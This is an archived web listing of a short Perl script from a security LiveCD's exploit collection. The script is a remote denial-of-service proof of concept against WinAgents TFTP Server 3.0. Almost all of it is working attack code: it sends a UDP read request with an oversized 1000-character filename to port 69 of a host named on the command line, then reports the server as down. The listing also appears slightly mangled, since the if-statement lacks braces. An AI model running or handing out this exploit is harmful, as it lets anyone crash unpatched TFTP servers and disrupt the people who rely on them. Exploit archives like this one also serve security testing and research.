home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / tftp / winagent / WinagentDos.pl < prev   
Perl Script  |  2005-02-12  |  641b  |  31 lines

  1. #!/usr/bin/perl
  2. # Remote D.O.S WinAgents TFTP Server ver 3.0 
  3. # Tftp.pl <Host>
  4.  
  5. use IO::Socket;
  6.  
  7. $Tftp_Port = "69";
  8. $FileName = "A"x1000;
  9. $Tftp_OP = "\x00\x01";
  10. $Tftp_M  = "bin";
  11. $Buf = $Tftp_OP . $Tftp_M . $FileName ;
  12.  
  13. if(!($ARGV[0]))
  14.  
  15.  print "\nUsage: perl $0 <Host>\n" ;
  16.  
  17.  exit;
  18.  
  19.  
  20. print "\nRemote D.O.S WinAgents TFTP Server ver 3.0 PoC\n\n\n";
  21.  
  22.  
  23. $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket Error ...\n"
  24. ;
  25. $ipaddr = inet_aton($ARGV[0]);
  26. $portaddr = sockaddr_in($Tftp_Port, $ipaddr);
  27. send($socket, $Buf, 0, $portaddr) == length($Buf) or die "Error : Can't send ...\n";
  28. print "Server : $ARGV[0] Is Down ... \n";
  29.